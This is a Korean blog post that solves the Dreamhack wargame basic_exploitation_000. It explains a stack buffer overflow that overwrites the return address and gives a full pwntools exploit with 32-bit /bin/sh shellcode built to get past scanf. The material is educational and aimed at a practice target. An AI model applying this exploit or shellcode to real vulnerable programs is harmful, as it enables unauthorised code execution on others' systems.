Hacking/Pwnable

원하는 주소로 return 시키기

mitdog 2024. 7. 12. 21:12

Return Address Overwrite(이하 RAO) 기법이다.

내가 어떤 주소로 rip를 이동 시키고 싶고, 그 주소의 hex값을 알았을 경우, BOF 등으로
ret 주소를 덮어써서 해당 주소로 가도록 유도하는 것이다.

기본 문제인 드림핵의 basic_exploitation_000 을 예시로 적용해보자.
(https://dreamhack.io/wargame/challenges/2)

파일을 받아보면 C파일과 그것으로 컴파일한 실행파일이 있다.

코드는 이러하다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

이 문제 기준으로 이전 문제들은 쉽게 코드 안에 bin/sh을 실행시킬 수 있는 함수가 있었다.
여긴 없으므로 직접 셸 코드를 작성해야 한다.

취약점을 살펴보면,

  • buf의 주소를 알려준다
  • scanf를 사용한다

두 가지이다.
이를 바탕으로 페이로드를 생각해보면

셸 코드 + 오버플로우를 위한 의미없는 값 + buf의 주소

가 될 것이다. 이러한 페이로드를 쓰는 이유는 buf의 주소를 알려줬기에 가능한 것이다.
(안알려줬다면 rop를 써야했을 것이다)

셸 코드와 오버플로우를 위한 값으로 채우고, return 주소를 buf의 주소로 덮어써서 다시 rip가 버퍼의 맨 처음, 즉 우리가 작성한 셸 코드로 오도록 하여 셸 코드를 실행하게 한다.

pwndbg에서

$disassemble main

한 것이다.
위 어셈 코드를 바탕으로 다음과 같은 그림을 그려볼 수 있다.

stack ret 기준 스택 차이
buf 132(0x84)
sfp 4(0x4)
ret 0

따라서 shellcode + 나머지를 shellcode를 제외하고 sfp까지 채우기 + buf주소
로 작성해주면 된다. 페이로드는 다음과 같다.

from pwn import *

p = remote('post3.dreamhack.games', 20237)

payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += b'A'*(0x80 - len(payload) + 4)

p.recv(9)
bufaddr = p32(int(p.recv(8), 16))

payload += bufaddr

p.sendline(payload)
p.interactive()
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

이건 scanf 우회 shellcode다. scanf는 \0를 쓸 수 없기에 다른 shellcode가 존재한다.

해당 shellcode를 제외하고 sfp 까지 채워주기 위해

payload += b'A'*(0x80 - len(payload) + 4)

를 작성했다. (A를 의미없는 값으로 채움)

마지막으로 출력해주는 bufaddr을 읽어서 페이로드 마지막에 붙인다.

여기서 익힐수 있던 포인트들은 다음과 같다.

원하는 주소를 hex로 읽었을 때

가령 0xffffffff 라고 해보자. 이걸 어떻게 써야 pwntools로 send했을 때 원하는 대로 될까?

  1. hex로 바꾼다
read_addr = int('0xffffffff', 16) // 첫 번째 인자를 16진수형식으로 변환
  1. 해당 파일의 형식에 맞게 패킹한다
packed_addr = p64(read_addr) // p64는 amd64 arch일 경우.

만약 이미 다음과 같은 형식이라면, 그냥 b만 붙여줘도 된다.

\x00\x00\x00... => b'\x00\x00\x00...'

ret 위치에 맞게 맞는 크기로 send

오버플로우를 적절하게 시켜서 ret에 맞는 크기로 정확하게 들어가도록 페이로드를 작성한다.

위 예제에서는 sfp까지 132 byte를 다른 값들로 채워 오버플로우 시키고,
마지막에 원하는 위치인 buf의 주소(4byte)를 채워 넣었다.

'Hacking > Pwnable' 카테고리의 다른 글

Type Error  (0) 2024.07.18
RTL and ROP  (0) 2024.07.14